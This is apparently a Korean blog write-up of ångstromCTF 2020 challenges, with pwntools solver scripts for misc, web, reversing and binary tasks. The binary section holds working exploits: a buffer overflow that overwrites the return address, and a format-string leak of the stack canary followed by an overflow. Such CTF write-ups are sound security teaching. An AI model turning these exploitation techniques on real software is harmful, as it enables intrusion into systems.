토/일 요일에는 최대한 잡고 월요일에는 못 풀던 문제를 조금 건들면서 진행했다.
여러모로 많이 부족한것을 느꼈다. 점 점 증진해야겠다.
SOLVED
MISC
- ws1
- hxd로 문제 파일 열면 ctf가 그대로 박혀있다.
- shifter
- nc에 접속하면 무작위 문자열과 n 값 하나를 주는데 n을 피보나치수열로 바꾸고 값만큼 문자열을 이동하면 된다.
- 재귀 함수로는 40부터 시간제한에 걸려서 40~49까지 구한 값을 직접 넣어주었다.
from pwn import *
context.log_level = 'debug'
p=remote("misc.2020.chall.actf.co",20300)
def caesar(s,n):
s=list(s)
for i in range(len(s)):
if s[i].isupper():
s[i]=chr((ord(s[i])+ord('A')+n)%26+ord('A'))
return "".join(s)
def fibonacci(n):
if n < 3:
return 1
return fibonacci(n-1) + fibonacci(n-2)
for i in range(50):
p.recvuntil("Shift ")
data = p.recvuntil(" ")
p.recvuntil("n=")
n = p.recvuntil("\n")
if int(n) >= 40:
if int(n)==40:
n = 102334155
elif int(n)==41:
n = 165580141
elif int(n)==42:
n = 267914296
elif int(n)==43:
n = 433494437
elif int(n) == 44:
n = 701408733
elif int(n) == 45:
n = 1134903170
elif int(n) == 46:
n = 1836311903
elif int(n) == 47:
n = 2971215073
elif int(n) == 48:
n = 4807526976
elif int(n) == 49:
n = 7778742049
else:
n = fibonacci(int(n))
re = caesar(data,int(n))
re = re[:-1]
p.sendline(str(re))
p.interactive()
WEB
- The Magic Word
- magic 값에 give flag를 please give flag로 바꾸어주면 flag를 얻을 수 있다.
BINARY
- No Canary
- 그냥 RET에 flag주소 넣어주면 flag획득
from pwn import *
p=remote("shell.actf.co",20700)
flag = 0x0000000000401186
py = 'A'*0x28
py += p64(flag)
p.sendline(py)
p.interactive()
- Canary
- 입력은 총 2번 이루어 지며, 첫 번째 입력값 출력시 FSB가 발생하는것을 이용하여 두 번쨰 입력 시 카나리를 맞춰주며 RET에 flag 주소를 넣어준다.
from pwn import *
context.log_level = 'debug'
p=remote("shell.actf.co",20701)
flag = 0x0000000000400787
py = "%lx "*17 #register 6 + 11
p.sendlineafter("name?", py)
canary = int(p.recvuntil("!")[-18:-2],16)
print hex(canary)
py2 = "A"*56
py2 += p64(canary)
py2 += "A"*8
py2 += p64(flag)
p.sendlineafter("me?", py2)
p.interactive()
REV
- Revving up
- 인자로 banana를 준 후 give flag를 입력하면 flag를 준다.
- Taking Off
- 인자에 값들과 이후 입력시 0x2a와 xor 연산을 하는데 그냥 값들 맞추어 입력해주면 flag를 얻는 문제
- Patcherman
- 특정 값들을 xor, or, shift 연산을 통하여 최종적으로 flag가 출력되는 문제이다. 연산 과정을 똑같이 코딩하여 입력해주면 flag가 출력된다. (직접 짠 코드가 부끄러울 정도로 개판이다...)
from pwn import *
X = 0x99bdf77
Y = 0x2000004CDEFBB
A=0x5CD883EA
B=0xEF6680C0
C=0xAFCC7086
D=0x7E3AB87F
E=0x7DC5773A
F=0x38208035
G=0x0456C3F5
ptrace_r = 0
first = int(0x1337BEEF)
def fun1(a1,a2):
return (a1 >> int(a2)) & 1
def fun2(a1,a2):
return int(a1)+int(a2)
v0=fun1(first,0)
v1=fun1(first,2) ^ v0
v2=fun1(first,3) ^ v1
v3=fun1(first,5)
first = first >> 1
first |= ( (v2^v3) << 31 )
v4 = first
print p32(fun2((A^0),v4))
v0=fun1(first,0)
v1=fun1(first,2) ^ v0
v2=fun1(first,3) ^ v1
v3=fun1(first,5)
first = first >> 1
first |= ( (v2^v3) << 31 )
v5 = first
print p64(fun2((B^0),v5))
v0=fun1(first,0)
v1=fun1(first,2) ^ v0
v2=fun1(first,3) ^ v1
v3=fun1(first,5)
first = first >> 1
first |= ( (v2^v3) << 31 )
v6 = first
print p64(fun2((C^0),v6))
v0=fun1(first,0)
v1=fun1(first,2) ^ v0
v2=fun1(first,3) ^ v1
v3=fun1(first,5)
first = first >> 1
first |= ( (v2^v3) << 31 )
v7 = first
print p64(fun2((D^0),v7))
v0=fun1(first,0)
v1=fun1(first,2) ^ v0
v2=fun1(first,3) ^ v1
v3=fun1(first,5)
first = first >> 1
first |= ( (v2^v3) << 31 )
v8 = first
print p64(fun2((E^0),v8))
v0=fun1(first,0)
v1=fun1(first,2) ^ v0
v2=fun1(first,3) ^ v1
v3=fun1(first,5)
first = first >> 1
first |= ( (v2^v3) << 31 )
v9 = first
print p64(fun2((F^0),v9))
v0=fun1(first,0)
v1=fun1(first,2) ^ v0
v2=fun1(first,3) ^ v1
v3=fun1(first,5)
first = first >> 1
first |= ( (v2^v3) << 31 )
v10 = first
print p64(fun2((G^0),v10))
'CTF > 2020' 카테고리의 다른 글
Redpwn CTF (0) | 2020.06.26 |
---|---|
NahamCon CTF (0) | 2020.06.15 |
DefenitCTF 후기 (0) | 2020.06.08 |
angstormCTF library_in_c (64bit fsb) (0) | 2020.03.21 |